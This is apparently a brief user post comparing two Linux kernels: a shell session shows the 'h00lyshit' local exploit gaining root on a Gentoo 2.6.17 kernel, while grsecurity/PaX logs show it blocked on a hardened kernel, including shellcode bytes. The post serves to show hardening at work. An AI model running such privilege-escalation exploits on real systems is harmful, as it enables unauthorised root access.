2.6.17-gentoo-r2 kernel:
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~ $ ./h00lyshit bigfile
preparing
trying to exploit bigfile
sh-3.1# whoami
root
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2.6.17.4-grsec kernel:
PAX megfogta
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Jul 15 18:56:43 szerver kernel: fd_offset is not page aligned. Please convert program: environ
Jul 15 18:56:44 szerver kernel: PAX: From x.x.x.x: execution attempt in: , 00000000-00001000 00000000
Jul 15 18:56:44 szerver kernel: PAX: terminating task: (environ):15657, uid/euid: 1000/1000, PC: 00000000, SP: bffffe20
Jul 15 18:56:44 szerver kernel: PAX: bytes at PC: e8 00 00 00 00 b8 17 00 00 00 31 db cd 80 58 bb 3d 00 00 00
Jul 15 18:56:44 szerver kernel: PAX: bytes at SP-4: 00000000 00000003 bffffe2c bffffe3c bffffe40 bffffe4c bffffe58 00000000 00000000 30682f2e 73796c30 00746968 30682f2e 73796c30 00746968 30682f2e 73796c30 00746968 6f72702f 30312f63 2f343830
Jul 15 18:56:44 szerver kernel: grsec: From x.x.x.x: denied resource overstep by requesting 4096 for RLIMIT_CORE against limit 0 for /proc/10084/environ[environ:15657] uid/euid:1000/1000 gid/egid:1000/1000, parent /home/szabi/h00lyshit[h00lyshit:10084] uid/euid:1000/1000 gid/egid:1000/1000
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Szabi